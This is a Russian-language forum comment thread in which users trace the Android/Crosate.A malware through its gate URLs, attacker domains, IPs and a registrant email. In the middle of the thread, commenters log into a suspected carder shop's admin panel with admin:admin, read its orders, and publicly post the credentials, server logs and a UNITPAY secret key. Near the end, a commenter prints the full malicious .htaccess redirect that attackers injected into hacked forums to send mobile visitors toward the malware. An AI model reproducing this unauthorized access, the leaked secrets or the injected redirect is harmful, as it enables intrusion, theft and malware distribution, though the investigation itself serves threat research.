                Там указано имя малвари — Android/Crosate.A

                Нашел несколько сандбокс анализов подобного, с 2013 года:
                www.apk-analyzer.net/analysis/2683/13582/0/html
                www.apk-analyzer.net/analysis/2230/11392/0/html
                www.apk-analyzer.net/analysis/718/3954/0/html

                Гейты малвари в .ru зоне, что не исключает «русский» след в самом начале жизни этого софта — тестили.

                В этом пдфе немного описано про детект эмулятора в этой малвари.

                Вот скан VT, тоже за 2013 год:
                www.virustotal.com/en/file/964f6c1913c8f090cbcabb0f23d26e0a89408c1f2dda43a087159463bb3e07e7/analysis

                Тут инфа посвежее:
                malvertising.stopmalwares.com/2015/03/malvertising-androidsvpeng-androidcrosate-androiddeng
                www.virustotal.com/en/file/324357f628d534eeae1674e6c3af9f3d4fad3e0dda5bc3fb782f1ed3b9a37dd8/analysis
                  0
                  abra-k0dabra.com/magic/stat.php
                  abra-k0dabra.com/magic/control
                  

                  мы тоже находили, но дальше не ходили…
                    +1
                    Регнул один из старых доменов private-area.ru, на которых был gate.php, просмотрим, стучит ли ещё кто туда
                    +5
                    По инфе с VT этом же сервере есть домен heibe-titten.com
                    Там PMA: heibe-titten.com/phpMyAdmin и гейт heibe-titten.com/dnr/gate.php
                    Домен регнут на armyawka@inbox.ru — секретный вопрос «Модель Вашей первой машины», на это же мыло регнуты:

                    abra-k0dabra.com	[ 62.210.83.135 ]
                    anonyzmus.com		[ 62.210.78.48 ]
                    casino-ambassador.com	[ 62.210.86.232 ]
                    casino-olymnpic.com	[ 62.210.86.233 ]
                    esset-nod32.com		[ 178.33.225.144 ]
                    heibe-titten.com	[ 62.210.83.135 ]
                    jerking0ff.com		[ 62.210.244.63 ]
                    mego-bankasi.com	[ 37.187.138.222 ]
                    porabowenie.com		[ 62.210.244.63 ]
                    shortdomein.com		[ 62.210.78.19 ]
                    venuss-pizdenus.com	[ 62.210.244.71 ]
                    
                    megogo-porn.com		[ не резолвится ]
                    megooshop.net		[ не резолвится ]
                    orgazm-girls.com	[ не резолвится ]
                    porno2000allin.com	[ не резолвится ]
                    privatbang.com		[ не резолвится ]
                    v-rozetke.com		[ не резолвится ]
                    girls-porno.net		[ не резолвится ]
                    
                    
                      0
                      да, русский след на глаз…

                      Спасибо за дополнение.
                        +3
                        Или армянский (см. email).
                          +3
                          если на секретный вопрос подойдет «ВАЗ 2121», то и к гадалке ходить не надо…
                            –2
                            ВАЗ 2170 или 2172, как-то они в большем почёте.
                      +7
                      Идём дальше.

                      Нашел через гугление полей домена нашел ещё один интересный домен, регнутый на armyawka@inbox.ru — apple-sh0p.com, IP: 37.252.0.192
                      на сайте указан номер: +7 (800) 100-22-69
                      CMS webassyst, по урлу 37.252.0.192 доступна админка.

                      Классика!
                      Логин-пароль admin:admin

                      Смотрим первый заказы в базе:

                      Заказ создан: 25 января 2015 10:08
                      Витрина: apple-sh0p.com
                      IP-адрес: 92.244.135.215 — Сербия

                      Скачиваем лог установки, находим путь на диске разработчика сайта: «D:\\Programs\\OpenServer\\domains\\shop-script.loc\\»
                      В общем-то реквизиты с сайта ведут на разработчика малвари или человека, с ним связанного, и судя по содержимому магазина — товар скарженный. Источник кредитных карт — вполне вероятно та самая малварь.
                        0
                        Мдя, пароль тут же сменили)
                          +1
                          видимо чуваки с паяльниками уже доехали )
                            +1
                            Хабру читают.
                          +1
                          Логи с сервера:
                          pastebin.com/WjTFvi5J
                          pastebin.com/35XAXXZL
                          pastebin.com/3L0Nykm0

                          Данные UNITPAY, по которым можно идентифицировать лицо, владеющее шопом:
                          Публичный ключ 12475-d1305
                          Секретный ключ 7b924291b516d1b406b3fb278b45ae04
                          


                            0
                            вырубил что ли сервак… сейчас недоступен
                              +1
                              504 Gateway Time-out
                              nginx/1.7.0

                              Самое интересное, что такая реакция лишь доказывает то, что след был верным.
                              Через 10 минут после публикации доступов admin:admin они были изменены(тут я допускаю возможность смены аноном с хабра), но то, что сервер выключили, уже второй аргумент в пользу того, что шоп apple-sh0p.com аффилирован с малварей Android/Crosate.
                              Исходя из моей подготовки и опыта:), могу утверждать с высокой долей вероятности, что идентификация кардера упирается в запросе информации о вышеуказанных ключах через UNITPAY и уточнению владельца номера +7 (800) 100-22-69.
                                +1
                                Я не отрицаю ничего, но это также может значить, что на сайт вломились анонимы с хабра и начали его ломать. Вот его и выключили.
                                  +2
                                  Конечно может, но там внизу у хабраюзера receiver есть данные на покупателя обфускатора, и если обе ниточки сойдутся, то тут уже не отвертеться
                                  +2
                                  apple-sh0p.com/mac
                                  Ошибка #2002
                                  
                                  Магазин
                                  
                                  Can not connect to MySQL server.
                                  
                                  Please contact app developer.
                                  


                                  база видимо удалена уже ))
                          +13
                          Такая защита — это результат работы одной из версий нашего продукта DexProtector, к сожалению, иногда, среди наших хороших клиентов, попадаются злые негодяи, которые во-первых портят себе карму и вредят пользователям Android, а во вторых приводят к false positive антивирусов для нормальных защищенных приложений, соответственно, вредят и нам. Если не сложно, можете прислать нам этот apk, для того чтобы мы разобрались с этим нехорошим человеком?

                          Спасибо за пост.
                            +14
                            Чувака нашли, бригада с паяльниками выехала :-)
                              0
                              :-) хехе
                                0
                                А у Вас криптор-обфускатор водяные знаки вставляет с идентификатором покупателя?
                                  +2
                                  Мы вынуждены вставлять водяные знаки, как раз из-за таких случаев, чтобы иметь возможность блокировать лицензию.
                                    +2
                                    Это нормально, отслеживание судьбы купленной лицензии вполне себе верный ход. А как вы блокировать будете? Сам криптор онлайн или программа при каждом запуске в сеть идёт?
                                  +1
                                  Если не секрет, то по каким следам нашли? Жёлтые точки?
                                  Кстати, в этом случае я даже за, если знаете только вы и «честно-честно» только вы.
                                  (комменты пиши @ страницу не обновляй)
                                    +3
                                    Всё так.
                                      0
                                      что за «желтые точки»???
                                      вот интересно ведь, но не понятно. У вас какой-то междусобойчик
                                    +4
                                    Надеюсь, о результатах этой истории хотя бы в комментариях отпишитесь? Заинтриговали =)
                                      0
                                      lenta.ru/news/2015/04/11/mvd походу вот продолжение
                                        0
                                        «По предварительным данным, сумма предотвращенного ущерба составляет более 50 миллионов рублей.»

                                        Интересно, автору статьи хотябы «спасибо» сказали?
                                          0
                                          это не тот вирус, название вируса который я исследовал и вируса который использовался не совпадают.
                                  +1
                                  Спасибо автору за рассказ об инструментах. Как раз есть желание поковырять одно приложение =)
                                  А может ещё кто-то знает про написание приложений на mono (тот что открытый .net)? Судя пл всему интересующее меня приложение его использует.
                                    0
                                    А скиньте архив в личку :)
                                    0
                                    Тут 2 варианта: либо вирус «китайского происхождения», либо ошибка кодировки. Думаю, пока рано делать выводы.

                                    Там дикая смесь из корейских и китайских иероглифов + еще какая-то фигня. Так что происхождение здесь точно не причем.
                                      +2
                                      Выяснили же, что это результат работы обфускатора со строками — строки заворачиваются в вызов функции, и инлайном передаётся зашифрованная строка в формате \uXXXX\uXXXX\uXXXX\uXXXX\uXXXX\uXXXX\uXXXX\uXXXX
                                      JD-GUI такие строки пытается сразу привести к символу, и в итоге видим иероглифы.
                                      +3
                                      Я вот только одного не понял, как оно установилось то? Может упущенны какие-то подробности установки?

                                      | заметите, он меня не спросил: «Ты согласен установить это приложение? Оно будет использовать такие-то права.»
                                        0
                                        просто кликаешь на apk и все, он уже установлен
                                          0
                                          Установлен ли «Unknown sources», есть ли права root, контролируется ли предоставление привилегий?
                                          Если на все вопросы ответ нет, тогда уязвимость сосвсем в другом и уже нужно подумать о безопасности самой системы?
                                          P.S. Какая версия android стояла?
                                            0
                                            1. да рут на системе есть + Unknown sources, возможно как то Genymotion сглупил… почему бы и нет, вполне возможно… хотя андроид в одном случае спросил хочешь дать ему рут в другом нет, разные эмуляторы…
                                            2. мне хотелось больше всего понять для чего он нужен, для кражи смс, банковский или…
                                        +8
                                        Комменты оказались не менее интересны чем статья. Целый детектив.
                                        Пил кофе и с большим интересом читал.

                                        Спасибо.
                                          –1
                                          Не хватает только комментариев от авторов трояна в духе:

                                          — Они за нами выехали
                                          — Они больше не будут
                                          — Они пили кофе, с интересом читали и отключали сервера
                                          — Они уже пакуют чемоданы
                                          — Оказалось, что паяльник очень горячий

                                          (нужное подчеркнуть)
                                          +2
                                          Это ещё не всё — я регнул один из старых доменов private-area.ru и на данный момент зафиксировал за 8 часов обращения ботов со 1240 IP адресов, раскиданных по миру.
                                          Как соберу немного статистики, допишу в этот пост.
                                          На данный момент собраны обращения к файлам:

                                          /arigwfjlet.lui
                                          /canada/gate.php
                                          /china/gate.php
                                          /estonia/gate.php
                                          /evbkjnucvg.xky
                                          /fkcdweleaj.xcz
                                          /greatwall/gate.php
                                          /israel/gate.php
                                          /japan/gate.php
                                          /kmepukizmy.qyx
                                          /new/usb.php
                                          /oxiqimfegl.swo
                                          /plvkmxoeuc.vut
                                          /reich/die_antwoord.php
                                          /ugvodldbcl.ont
                                          /vietnam/gate.php
                                          /xkey/xtrapay.php
                                          /ykey/xtrapay.php
                                          /zkey/xpay.php
                                          /zkey/xtrapay.php
                                          
                                            0
                                            Вы бы поаккуратнее с такими регистрациями. Понятно, что дело интересное. Но сейчас создателей вируса взяли и начнут собирать доказательства по этому делу, а там домены из их пачки зарегистрированные на Вас. Может не очень приятная ситуация получиться.
                                              0
                                              А ничего, что история владения доменом публично доступна и предыдущего владельца найти не проблема?
                                              Да и новый владелец как бы не несёт ответственности за то, что ранее делали с этим доменом, пусть сначала докажут
                                                0
                                                Доказывать это — приятного мало.
                                                  0
                                                  Спасибо за предупреждение. Именно для этого я повесил сразу информационную заглушку на все запросы. Надеюсь органы обладают компитентностью)
                                            +4
                                            Домен private-area.ru также участвовал в 2013 году во взломе форумов на VB.
                                            Злоумышленники добавляли на сайты следующий код в .htaccess:

                                            #########rataman##########
                                            RewriteEngine on
                                            
                                            RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
                                            RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR]
                                            RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR]
                                            RewriteCond %{HTTP_USER_AGENT} (pre\/|palm\ os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR]
                                            RewriteCond %{HTTP_USER_AGENT} (iris|3g_t|windows\ ce|opera\ mobi|windows\ ce;\ smartphone;|windows\ ce;\ iemobile) [NC,OR]
                                            RewriteCond %{HTTP_USER_AGENT} (mini\ 9.5|vx1000|lge\ |m800|e860|u940|ux840|compal|wireless|\ mobi|ahong|lg380|lgku|lgu900|lg210|lg47|lg920|lg840|lg370|sam-r|mg50|s55|g83|t66|vx400|mk99|d615|d763|el370|sl900|mp500|samu3|samu4|vx10|xda_|samu5|samu6|samu7|samu9|a615|b832|m881|s920|n210|s700|c-810|_h797|mob-x|sk16d|848b|mowser|s580|r800|471x|v120|rim8|c500foma:|160x|x160|480x|x640|t503|w839|i250|sprint|w398samr810|m5252|c7100|mt126|x225|s5330|s820|htil-g1|fly\ v71|s302|-x113|novarra|k610i|-three|8325rc|8352rc|sanyo|vx54|c888|nx250|n120|mtk\ |c5588|s710|t880|c5005|i;458x|p404i|s210|c5100|teleca|s940|c500|s590|foma|samsu|vx8|vx9|a1000|_mms|myx|a700|gu1100|bc831|e300|ems100|me701|me702m-three|sd588|s800|8325rc|ac831|mw200|brew\ |d88|htc\/|htc_touch|355x|m50|km100|d736|p-9521|telco|sl74|ktouch|m4u\/|me702|8325rc|kddi|phone|lg\ |sonyericsson|samsung|240x|x320|vx10|nokia|sony\ cmd|motorola|up.browser|up.link|mmp|symbian|smartphone|midp|wap|vodafone|o2|pocket|mobile|treo) [NC,OR]
                                            RewriteCond %{HTTP_USER_AGENT} ^(1207|3gso|4thp|501i|502i|503i|504i|505i|506i|6310|6590|770s|802s|a\ wa|acer|acs-|airn|alav|asus|attw|au-m|aur\ |aus\ |abac|acoo|aiko|alco|alca|amoi|anex|anny|anyw|aptu|arch|argo|bell|bird|bw-n|bw-u|beck|benq|bilb|blac|c55\/|cdm-|chtm|capi|cond|craw|dall|dbte|dc-s|dica|ds-d|ds12|dait|devi|dmob|doco|dopo|el49|erk0|esl8|ez40|ez60|ez70|ezos|ezze|elai|emul|eric|ezwa|fake|fly-|fly_|g-mo|g1\ u|g560|gf-5|grun|gene|go\.w|good|grad|hcit|hd-m|hd-p|hd-t|hei-|hp\ i|hpip|hs-c|htc\ |htc-|htca|htcg|htcp|htcs|htct|htc_|haie|hita|huaw|hutc|i-20|i-go|i-ma|i230|iac|iac-|iac\/|ig01|im1k|inno|iris|jata|java|kddi|kgt|kgt\/|kpt\ |kwc-|klon|lexi|lg\ g|lg-a|lg-b|lg-c|lg-d|lg-f|lg-g|lg-k|lg-l|lg-m|lg-o|lg-p|lg-s|lg-t|lg-u|lg-w|lg\/k|lg\/l|lg\/u|lg50|lg54|lge-|lge\/|lynx|leno|m1-w|m3ga|m50\/|maui|mc01|mc21|mcca|medi|meri|mio8|mioa|mo01|mo02|mode|modo|mot\ |mot-|mt50|mtp1|mtv\ |mate|maxo|merc|mits|mobi|motv|mozz|n100|n101|n102|n202|n203|n300|n302|n500|n502|n505|n700|n701|n710|nec-|nem-|newg|neon|netf|noki|nzph|o2\ x|o2-x|opwv|owg1|opti|oran|p800|pand|pg-1|pg-2|pg-3|pg-6|pg-8|pg-c|pg13|phil|pn-2|pt-g|palm|pana|pire|pock|pose|psio|qa-a|qc-2|qc-3|qc-5|qc-7|qc07|qc12|qc21|qc32|qc60|qci-|qwap|qtek|r380|r600|raks|rim9|rove|s55\/|sage|sams|sc01|sch-|scp-|sdk\/|se47|sec-|sec0|sec1|semc|sgh-|shar|sie-|sk-0|sl45|slid|smb3|smt5|sp01|sph-|spv\ |spv-|sy01|samm|sany|sava|scoo|send|siem|smar|smit|soft|sony|t-mo|t218|t250|t600|t610|t618|tcl-|tdg-|telm|tim-|ts70|tsm-|tsm3|tsm5|tx-9|tagt|talk|teli|topl|hiba|up\.b|upg1|utst|v400|v750|veri|vk-v|vk40|vk50|vk52|vk53|vm40|vx98|virg|vite|voda|vulc|w3c\ |w3c-|wapj|wapp|wapu|wapm|wig\ |wapi|wapr|wapv|wapy|wapa|waps|wapt|winc|winw|wonu|x700|xda2|xdag|yas-|your|zte-|zeto|acs-|alav|alca|amoi|aste|audi|avan|benq|bird|blac|blaz|brew|brvw|bumb|ccwa|cell|cldc|cmd-|dang|doco|eml2|eric|fetc|hipt|http|ibro|idea|ikom|inno|ipaq|jbro|jemu|java|jigs|kddi|keji|kyoc|kyok|leno|lg-c|lg-d|lg-g|lge-|libw|m-cr|maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|mywa|nec-|newt|nok6|noki|o2im|opwv|palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|rozo|sage|sama|sams|sany|sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo|teli|tim-|tosh|treo|tsm-|upg1|upsi|vk-v|voda|vx52|vx53|vx60|vx61|vx70|vx80|vx81|vx83|vx85|wap-|wapa|wapi|wapp|wapr|webc|whit|winw|wmlb|xda-) [NC,OR]
                                            RewriteCond %{HTTP:Accept} (text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml) [NC,OR]
                                            RewriteCond %{HTTP:Profile} .+ [NC,OR]
                                            RewriteCond %{HTTP:Wap-Profile} .+ [NC,OR]
                                            RewriteCond %{HTTP:x-wap-profile} .+ [NC,OR]
                                            RewriteCond %{HTTP:x-operamini-phone-ua} .+ [NC,OR]
                                            RewriteCond %{HTTP:x-wap-profile-diff} .+ [NC]
                                            
                                            RewriteCond %{QUERY_STRING} !wpc_nr [NC]
                                            RewriteCond %{HTTP_USER_AGENT} !(iphone|ipad|ipod|iphone) [NC]
                                            RewriteCond %{HTTP_USER_AGENT} !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|america|avant|download|fdm|maui|webmoney|windows-media-player) [NC]
                                            
                                            RewriteRule ^(.*)$ http://private-area.ru/retro/ [L,R=302]
                                            #########!rataman!#########
                                            

                                            Видимо взлом форумов был первичным источником трафика для Android/Crosate.A, мобильный трафик со сломанных сайтов пересылался на private-area.ru, далее какой-либо фейк обновления флеш-плеера, и дальше малварь попадала к пользователям на устройство.
                                            0
                                              0
                                              А как пришли к выводу, что это именно те, а не другие?
                                                0
                                                Я только по svpeng/crossate ориентируюсь, хотя да, малварь одного семейства может десяток мелких самостоятельных группировок использовать.
                                              0
                                              del

                                              Only users with full accounts can post comments. Log in, please.